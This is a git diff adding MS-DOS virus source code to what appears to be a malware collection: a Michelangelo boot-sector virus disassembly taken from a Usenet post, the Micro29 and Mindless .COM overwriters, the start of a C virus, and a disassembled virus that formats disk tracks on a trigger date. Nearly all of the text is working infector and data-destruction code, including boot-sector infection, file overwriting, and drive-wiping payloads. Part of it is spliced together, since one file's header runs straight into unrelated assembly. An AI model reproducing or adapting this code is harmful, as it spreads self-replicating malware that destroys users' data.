DH ; increment head (DH) + CMP DH,[HEADS] ; head < maxhead? continue if + JB BIRTHDAY_LOOP ; equal, else loop + XOR DH,DH ; + INC CH ; increment cylinder and loop + JMP BIRTHDAY_LOOP ; ( goodbye data - cu never ) + ; +; ----------------------------------------------------------------------------- + ; +INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to + MOV [CYLSEG],CX ; save the original partition + MOV AX,wWRITE v 1 ; table and write it to disk + MOV DX,0000 v WINCHESTER1 ; + INT 13 ; + JB BOOTNOW ; jmp on error + MOV SI,O PARTTBL + SECSIZE ; copy partition informa- + MOV DI,O PARTTBL ; tion to the end of MICHI + MOV CX,0021 ; + REP MOVSW ; + MOV AX,wWRITE v 1 ; and write MICHI to the first + XOR BX,BX ; sector of the hard disk ... + INC CL ; + INT 13 ; + JMP BOOTNOW ; + ; +; ----------------------------------------------------------------------------- + ; + ORG SECSIZE - 2 ; Bootblock / partition table / + DB 055,0AA ; ROM signature + ; +; ----------------------------------------------------------------------------- + +TEXT ENDS + +END START diff --git a/MSDOS/Virus.MSDOS.Unknown.michelan.asm b/MSDOS/Virus.MSDOS.Unknown.michelan.asm new file mode 100644 index 00000000..f89cf3ac --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.michelan.asm @@ -0,0 +1,263 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994 +Xref: netcom.com alt.comp.virus:511 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Ye Ole MichelAngelo Virus +Date: 29 Nov 1994 13:19:53 GMT +Organization: Netcom +Lines: 248 +Distribution: world +Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +; This is a disassembly of the much-hyped michelangelo virus. +; As you can see, it is a derivative of the Stoned virus. The +; junk bytes at the end of the file are probably throwbacks to +; the Stoned virus. In any case, it is yet another boot sector +; and partition table infector. + +michelangelo segment byte public + assume cs:michelangelo, ds:michelangelo + org 0 + + jmp entervirus +highmemjmp db 0F5h, 00h, 80h, 9Fh +maxhead db 2 ; used by damagestuff +firstsector dw 3 +oldint13h dd 0C8000256h + +int13h: + push ds + push ax + or dl, dl ; default drive? + jnz exitint13h ; exit if not + xor ax, ax + mov ds, ax + test byte ptr ds:[43fh], 1 ; disk 0 on? + jnz exitint13h ; if not spinning, exit + pop ax + pop ds + pushf + call dword ptr cs:[oldint13h]; first call old int 13h + pushf + call infectdisk ; then infect + popf + retf 2 +exitint13h: pop ax + pop ds + jmp dword ptr cs:[oldint13h] + +infectdisk: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + push cs + pop es + mov si, 4 +readbootblock: + mov ax,201h ; Read boot block to + mov bx,200h ; after virus + mov cx,1 + xor dx,dx + pushf + call oldint13h + jnc checkinfect ; continue if no error + xor ax,ax + pushf + call oldint13h ; Reset disk + dec si ; loop back + jnz readbootblock + jmp short quitinfect ; exit if too many +failures +checkinfect: + xor si,si + cld + lodsw + cmp ax,[bx] ; check if already +infected + jne infectitnow + lodsw + cmp ax,[bx+2] ; check again + je quitinfect +infectitnow: + mov ax,301h ; Write old boot block + mov dh,1 ; to head 1 + mov cl,3 ; sector 3 + cmp byte ptr [bx+15h],0FDh ; 360k disk? + je is360Kdisk + mov cl,0Eh +is360Kdisk: + mov firstsector,cx + pushf + call oldint13h + jc quitinfect ; exit on error + mov si,200h+offset partitioninfo + mov di,offset partitioninfo + mov cx,21h ; Copy partition table + cld + rep movsw + mov ax,301h ; Write virus to sector +1 + xor bx,bx + mov cx,1 + xor dx,dx + pushf + call oldint13h +quitinfect: + pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + retn +entervirus: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov ax,7C00h ; Set stack to just +below + mov sp,ax ; virus load point + sti + push ds ; save 0:7C00h on stack +for + push ax ; later retf + mov ax,ds:[13h*4] + mov word ptr ds:[7C00h+offset oldint13h],ax + mov ax,ds:[13h*4+2] + mov word ptr ds:[7C00h+offset oldint13h+2],ax + mov ax,ds:[413h] ; memory size in K + dec ax ; 1024 K + dec ax + mov ds:[413h],ax ; move new value in + mov cl,6 + shl ax,cl ; ax = paragraphs of +memory + mov es,ax ; next line sets seg of +jmp + mov word ptr ds:[7C00h+2+offset highmemjmp],ax + mov ax,offset int13h + mov ds:[13h*4],ax + mov ds:[13h*4+2],es + mov cx,offset partitioninfo + mov si,7C00h + xor di,di + cld + rep movsb ; copy to high memory + ; and transfer control +there + jmp dword ptr cs:[7C00h+offset highmemjmp] +; destination of highmem jmp + xor ax,ax + mov es,ax + int 13h ; reset disk + push cs + pop ds + mov ax,201h + mov bx,7C00h + mov cx,firstsector + cmp cx,7 ; hard disk infection? + jne floppyboot ; if not, do floppies + mov dx,80h ; Read old partition +table of + int 13h ; first hard disk to +0:7C00h + jmp short exitvirus +floppyboot: + mov cx,firstsector ; read old boot block + mov dx,100h ; to 0:7C00h + int 13h + jc exitvirus + push cs + pop es + mov ax,201h ; read boot block + mov bx,200h ; of first hard disk + mov cx,1 + mov dx,80h + int 13h + jc exitvirus + xor si,si + cld + lodsw + cmp ax,[bx] ; is it infected? + jne infectharddisk ; if not, infect HD + lodsw ; check infection + cmp ax,[bx+2] + jne infectharddisk +exitvirus: + xor cx,cx ; Real time clock get +date + mov ah,4 ; dx = mon/day + int 1Ah + cmp dx,306h ; March 6th + je damagestuff + retf ; return control to +original + ; boot block @ 0:7C00h +damagestuff: + xor dx,dx + mov cx,1 +smashanothersector: + mov ax,309h + mov si,firstsector + cmp si,3 + je smashit + mov al,0Eh + cmp si,0Eh + je smashit + mov dl,80h ; first hard disk + mov maxhead,4 + mov al,11h +smashit: + mov bx,5000h ; random memory area + mov es,bx ; at 5000h:5000h + int 13h ; Write al sectors to +drive dl + jnc skiponerror ; skip on error + xor ah,ah ; Reset disk drive dl + int 13h +skiponerror: + inc dh ; next head + cmp dh,maxhead ; 2 if floppy, 4 if HD + jb smashanothersector + xor dh,dh ; go to next +head/cylinder + inc ch + jmp short smashanothersector +infectharddisk: + mov cx,7 ; Write partition table +to + mov firstsector,cx ; sector 7 + mov ax,301h + mov dx,80h + int 13h + jc exitvirus + mov si,200h+offset partitioninfo ; Copy partition + mov di,offset partitioninfo ; table information + mov cx,21h + rep movsw + mov ax,301h ; Write to sector 8 + xor bx,bx ; Copy virus to sector 1 + inc cl + int 13h +;* jmp short 01E0h + db 0EBh, 32h ; ?This should crash? +; The following bytes are meaningless. +garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h +partitioninfo: db 42h dup (0) +michelangelo ends + end + + diff --git a/MSDOS/Virus.MSDOS.Unknown.micro29.asm b/MSDOS/Virus.MSDOS.Unknown.micro29.asm new file mode 100644 index 00000000..95849417 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.micro29.asm @@ -0,0 +1,24 @@ +; ############################################################################# +; ### ### +; ### M i C R O 29 ### +; ### ### +; ### By ### +; ### ### +; ### Dreamer / Demoralized Youth ### +; ### ### +; ############################################################################# + + MOV AH,4Eh ;Dos Universal: FIND FIRST + MOV DX,OFFSET PATT + INT 21h + MOV AX,3D02h ;Dos Universal: OPEN HANDLE + MOV DX,9Eh + INT 21h + XCHG AX,BX + MOV AH,40h ;Dos Universal: WRITE TO HANDLE + ADD DX,62h + INT 21h + RET + +PATT DB '*.C*',0 + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.microsuck.c b/MSDOS/Virus.MSDOS.Unknown.microsuck.c new file mode 100644 index 00000000..092cc845 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.microsuck.c @@ -0,0 +1,42 @@ +/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk + one of many high level language viruses writen to shut + up some of the people in a.c.v.s.c (alt.comp.virus.source.code) + and to show them that it can be done (even by me who has only about + 2 hours of C++ experience) compile with tc.exe (editor), exe normal + This is based on the C++ virus in virology 101, since it is what I + looked at to see how to write a virus in C++ I added something + before puting it here, and forgot to check for the new size + so YOU will have to compile it once, look at the size, then change + the variable x to the size....otherwise the "virus" will not be copied + compleatly */ +#include 0 + + sub si,2 + cmp word ptr [si],5049h + je loc_7 ; Jump if equal + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_12 ; (026B) + db 90h +loc_6: + cmp word ptr [si-2],452Eh + je loc_8 ; Jump if equal + jmp short loc_5 ; (01FE) +loc_7: + cmp word ptr [si-2],5A2Eh + jne loc_5 ; Jump if not equal +loc_8: + mov ax,3D02h + call sub_5 ; (03C8) + jc loc_12 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_5 ; (03C8) + mov cs:data_20,cx ; (7382:0127=0) + mov cs:data_21,dx ; (7382:0129=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 ; (03C8) + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_5 ; (03C8) + jc loc_10 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_9 ; Jump if not equal + call sub_1 ; (027C) + jmp short loc_10 ; (0254) +loc_9: + call sub_4 ; (03AA) +loc_10: + jc loc_11 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_20 ; (7382:0127=0) + mov dx,cs:data_21 ; (7382:0129=0) + call sub_5 ; (03C8) +loc_11: + mov ah,3Eh ; '>' + call sub_5 ; (03C8) +loc_12: + call sub_7 ; (040C) + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_13: + jmp cs:data_24 ; (7382:012F=0) + +migram endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dx=mon/day + cmp al,6 + je loc_15 ; Jump if equal + jnz loc_14 ; Jump if not zero +loc_14: + mov cx,[si+16h] + add cx,[si+8] + mov ax,10h + mul cx ; dx:ax = reg * ax + add ax,[si+14h] + adc dx,0 + push dx + push ax + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 ; (03C8) + cmp dx,0 + jne loc_16 ; Jump if not equal + cmp ax,4C3h + jae loc_16 ; Jump if above or = + pop ax + pop dx + stc ; Set carry flag + retn +loc_15: + mov ah,5 + mov ch,0 + mov cl,0 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov ah,5 + mov ch,0 + mov cl,1 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov ah,5 + mov ch,0 + mov cl,2 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov ah,5 + mov ch,0 + mov cl,3 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov ah,5 + mov ch,0 + mov cl,4 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov ah,5 + mov ch,0 + mov cl,5 + mov dh,0 + mov dl,2 + int 13h ; Disk dl=drive #: ah=func c5h + ; format track=ch or cylindr=cx + mov dx,offset data_30 ; (7382:013F=0Ah) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + call sub_9 ; (043A) + int 20h ; Program Terminate +loc_16: + mov di,ax + mov bp,dx + pop cx + sub ax,cx + pop cx + sbb dx,cx + cmp word ptr [si+0Ch],0 + je loc_ret_19 ; Jump if equal + cmp dx,0 + jne loc_17 ; Jump if not equal + cmp ax,4C3h + jne loc_17 ; Jump if not equal + stc ; Set carry flag + retn +loc_17: + mov dx,bp + mov ax,di + push dx + push ax + add ax,4C3h + adc dx,0 + mov cx,200h + div cx ; ax,dx rem=dx:ax/reg + les di,dword ptr [si+2] ; Load 32 bit ptr + mov cs:data_22,di ; (7382:012B=0) + mov cs:data_23,es ; (7382:012D=7382h) + mov [si+2],dx + cmp dx,0 + je loc_18 ; Jump if equal + inc ax +loc_18: + mov [si+4],ax + pop ax + pop dx + call sub_2 ; (038B) + sub ax,[si+8] + les di,dword ptr [si+14h] ; Load 32 bit ptr + mov data_17,di ; (7382:0121=0C3C3h) + mov data_18,es ; (7382:0123=0C3C3h) + mov [si+14h],dx + mov [si+16h],ax + mov word ptr data_19,ax ; (7382:0125=0) + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 ; (03C8) + call sub_3 ; (039C) + jc loc_ret_19 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_5 ; (03C8) + mov ah,40h ; '@' + mov dx,si + mov cx,18h + call sub_5 ; (03C8) + +loc_ret_19: + retn +sub_1 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + mov cx,4 + mov di,ax + and di,0Fh + +locloop_20: + shr dx,1 ; Shift w/zeros fill + rcr ax,1 ; Rotate thru carry + loop locloop_20 ; Loop if cx > 0 + + mov dx,di + retn +sub_2 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + mov ah,40h ; '@' + mov cx,4C3h + mov dx,100h + call sub_6 ; (03CF) + jmp short loc_21 ; (03C8) + db 90h + +;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +sub_4: + mov dx,10h + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,11Bh + mov cx,110Bh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + mov dx,2Eh + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + retn +sub_3 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near +loc_21: + pushf ; Push flags + call cs:data_24 ; (7382:012F=0) + retn +sub_5 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr + mov cs:data_25,ax ; (7382:0133=0) + mov cs:data_26,es ; (7382:0135=7382h) + mov ax,431h + mov ds:data_5e,ax ; (0000:0090=5BFh) + mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h) + les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr + mov cs:data_28,ax ; (7382:013B=0) + mov cs:data_29,es ; (7382:013D=7382h) + les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=20D0h) + mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch) + sti ; Enable interrupts + pop es + pop ds + pop ax + retn +sub_6 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_7 proc near + push ax + push ds + push es + xor ax,ax ; Zero register + push ax + pop ds + cli ; Disable interrupts + les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr + mov ds:data_5e,ax ; (0000:0090=5BFh) + mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h) + les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr + mov ds:data_1e,ax ; (0000:004C=20D0h) + mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch) + sti ; Enable interrupts + pop es + pop ds + pop ax + retn +sub_7 endp + + db 0B0h, 3, 0CFh + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_8 proc near + mov dx,10h + mul dx ; dx:ax = reg * ax + retn +sub_8 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9 proc near + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + xor bp,bp ; Zero register + retn +sub_9 endp + +loc_22: + push ds + call sub_10 ; (044D) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_10 proc near + mov ax,4B4Dh + int 21h ; DOS Services ah=function 4Bh + ; run progm @ds:dx, parm @es:bx + jc loc_23 ; Jump if carry Set + jmp loc_33 ; (057D) +loc_23: + pop si + push si + mov di,si + xor ax,ax ; Zero register + push ax + pop ds + les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr + mov cs:data_42e[si],ax ; (7382:FCEA=0) + mov cs:data_43e[si],es ; (7382:FCEC=0) + les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr + mov cs:data_40e[di],bx ; (7382:FCE2=0) + mov cs:data_41e[di],es ; (7382:FCE4=0) + mov ax,ds:data_7e ; (0000:0102=0F000h) + cmp ax,0F000h + jne loc_31 ; Jump if not equal + mov dl,80h + mov ax,ds:data_8e ; (0000:0106=0F000h) + cmp ax,0F000h + je loc_24 ; Jump if equal + cmp ah,0C8h + jb loc_31 ; Jump if below + cmp ah,0F4h + jae loc_31 ; Jump if above or = + test al,7Fh + jnz loc_31 ; Jump if not zero + mov ds,ax + cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h) + jne loc_31 ; Jump if not equal + mov dl,ds:data_45e ; (F000:0002=40h) +loc_24: + mov ds,ax + xor dh,dh ; Zero register + mov cl,9 + shl dx,cl ; Shift w/zeros fill + mov cx,dx + xor si,si ; Zero register + +locloop_25: + lodsw ; String [si] to ax + cmp ax,0FA80h + jne loc_26 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7380h + je loc_27 ; Jump if equal + jnz loc_28 ; Jump if not zero +loc_26: + cmp ax,0C2F6h + jne loc_29 ; Jump if not equal + lodsw ; String [si] to ax + cmp ax,7580h + jne loc_28 ; Jump if not equal +loc_27: + inc si + lodsw ; String [si] to ax + cmp ax,40CDh + je loc_30 ; Jump if equal + sub si,3 +loc_28: + dec si + dec si +loc_29: + dec si + loop locloop_25 ; Loop if cx > 0 + + jmp short loc_31 ; (04EC) +loc_30: + sub si,7 + mov cs:data_42e[di],si ; (7382:FCEA=0) + mov cs:data_43e[di],ds ; (7382:FCEC=0) +loc_31: + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + mov es,bx + mov ah,49h ; 'I' + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov bx,0FFFFh + mov ah,48h ; 'H' + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + sub bx,4Eh + nop + jc loc_33 ; Jump if carry Set + mov cx,es + stc ; Set carry flag + adc cx,bx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov bx,4Dh + stc ; Set carry flag + sbb es:data_12e,bx ; (06C7:0002=0B8C3h) + push es + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change mem allocation, bx=siz + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h) + call sub_8 ; (0434) + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call sub_8 ; (0434) + add ax,ds:data_13e ; (06C7:0006=0F0EBh) + adc dx,0 + sub ax,bx + sbb dx,cx + jc loc_32 ; Jump if carry Set + sub ds:data_13e,ax ; (06C7:0006=0F0EBh) +loc_32: + mov si,di + xor di,di ; Zero register + push cs + pop ds + sub si,34Dh + mov cx,4C3h + inc cx + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,62h ; 'b' + int 21h ; DOS Services ah=function 62h + ; get progrm seg prefix addr bx + dec bx + mov ds,bx + mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z' + mov dx,1A8h + xor ax,ax ; Zero register + push ax + pop ds + mov ax,es + sub ax,10h + mov es,ax + cli ; Disable interrupts + mov ds:data_3e,dx ; (0000:0084=6C7h) + mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch) + sti ; Enable interrupts + dec byte ptr ds:data_9e ; (0000:047B=14h) +loc_33: + pop si + cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0) + jne loc_34 ; Jump if not equal + pop ds + mov ax,cs:data_39e[si] ; (7382:FCD8=0) + mov bx,cs:data_38e[si] ; (7382:FCD6=0) + push cs + pop cx + sub cx,ax + add cx,bx + push cx + push word ptr cs:data_37e[si] ; (7382:FCD4=0) + push ds + pop es + call sub_9 ; (043A) + retf ; Return far +loc_34: + pop ax + mov ax,cs:data_35e[si] ; (7382:FCB6=0) + mov word ptr cs:[100h],ax ; (7382:0100=46E9h) + mov ax,cs:data_36e[si] ; (7382:FCB8=0) + mov word ptr cs:[102h],ax ; (7382:0102=0C303h) + mov ax,100h + push ax + push cs + pop ds + push ds + pop es + call sub_9 ; (043A) + retn +sub_10 endp + + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mindless.asm b/MSDOS/Virus.MSDOS.Unknown.mindless.asm new file mode 100644 index 00000000..99c2d87f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mindless.asm @@ -0,0 +1,228 @@ +; The Mindless V1.0 Virus +; +; Type: *.COM Overwriter +; +; Programmer: Natas Kaupas + +; Notes: +; +; Read the texts that come with this for all of the necessary +; info...if you've got any questions contact me on any YAM Dist. Sites. +; +; I Couldn't Have Made This Without: +; +; Soltan Griss -Kode4 +; Data Disruptor -encrypted part +; Mr. Mike -typematic delay thing +; And Everyone I Forgot! + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h + + +MINDL proc far +start label near + db 0E9h,00h,00h + +vstart equ $ + + mov cx,09EBh ;debug killer + mov ax,0FE05h ; + jmp $-2 ; + add ah,03Bh ; + jmp $-10 ; + + push ds ;save old data segment + sub ax,ax ;put zero in ax + push ax ;save it on stack + + mov ah,2ah ;get date + int 21h + cmp al,0 ;is it a Sunday? + jne rater ;no...don't format then + +doom: + mov ax,3301h ;turn off ^C Check + xor dl,dl ;0 + int 21h + + mov cx,lident ;this all has to do with the encrypted + mov si,offset ident ;message + mov di,offset dest ; +doshit: + mov al,ds:[si] ;unencrypt message + mov temp,al ; + xor byte ptr ds:[temp],01h ; + mov al,temp ; + mov [di],al ; + inc si ; + inc di ; + loop doshit ;loop back and finish it +doomb: + cmp drive,27 ;format all drives + jge boot ;done...then end (boot) + pushf ;push flags on + mov al,drive ;find drive + mov cx,sectors ;find sectors + mov dx,0 ;start at sector 0 + mov bx,offset dest ;write encrypted message + int 26h ;format + popf ;pop flags off + inc drive ;go up to next drive + jmp doomb ;repeat + +;this was originally going to boot...but for some reason it couldn't format in +;time (before the boot), so it didn't format...oh well. + +boot: + mov dl,2ch ;get system time + int 21h + and dl,0Fh ;AND 100th seconds by 0Fh + or dl,dl ;0? + jz locker ;yes..then lock up system + + mov cx,1980 ;date, 1980 + mov dx,0 ;mon/day, 0 + mov ah,2Bh ;set date + int 21h + mov cx,0 ;hrs/min, 0 + mov dx,0 ;sec, 0 + mov ah,2Dh ;set time + int 21h + mov ax,3301h ;turn ^C Check back on + mov dl,1 ;1 + int 21h + mov ax,4c00h ;end with error message 00 + int 21h + +locker: + jmp $ ;lock up computer + +rater: + mov al,dl + mov dl,0c0h ;unkown ms, really grinds on mine though! + jz valid ;it must be around 15ms + ;which is slow considering default is 9ms + ;and most floppies can actually go under 6ms + +valid: + push ds ;Save the data segment + mov bx,78h ;point to pointer for floppy drive tables + mov ax,0 + mov ds,ax ;set to segment 0 + mov ax,[bx] ;get the pointer + mov bx,ax ;into the bx register + mov al,[bx] ;now get the present step rate + and al,0fh ;remove the old step rate + or al,dl ;put in the new step rate + mov [bx],al ;and put it back where it goes + mov ah,0 ;now call on the BIOS to + int 13h ;reload the set floppy disk controller + pop ds ;Reset the Data Segment + +go_on: + + push ds ;save present data segment + + mov bx,78h ;point to pointer for floppy drive tables + mov ax,0 + mov ds,ax ;set to segment 0 + mov ax,[bx] ;get the pointer + mov bx,ax ;into the bx register + mov al,[bx] ;now get the step rate + pop ds + push ax ;save the step rate on the stack + + +typematic: + mov bl,repeat ;get the parameters + mov bh,init ; + mov ax,305h ;set typematic rate and delay + int 16h ; + xor al,al ;errorlevel = 0 + +n_start: mov ah,4Eh ;Find first Com file in directory + mov dx,offset filename ;use "*.com" + int 21h + +Back: + mov ah,43h ;get rid of read only protection + mov al,0 ; + mov dx,9eh ; + int 21h ; + mov ah,43h ; + mov al,01 ; + and cx,11111110b ; + int 21h ; + + mov ax,3D01h ;Open file for writing + mov dx,9Eh ;get file name from file data area + int 21h + + mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + + mov dx,100h ;Start writing at 100h + mov cx,(vend-vstart) ;write ?? bytes + mov ah,40h ;Write Data into the file + int 21h + + + pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + + jnc Back + +done: + + int 20h ;Terminate Program + +V_Length equ vend-vstart + +drive db ? +sectors dw 456 + +filename db "*.c*",0 + +ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10 + db "Uid!Lhoemdrr!Whstr!w0/1!",13,10 + +;encrypted message: +;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10 +; db "The Mindless Virus v1.0 ",13,10 + +lident equ $-ident +dest db [lident-1/2] dup (?) +temp db 0 + +repeat equ 250 +init equ 0 + +mindl endp + +vend equ $ + +seg_a ends + + end start + + + \ No newline 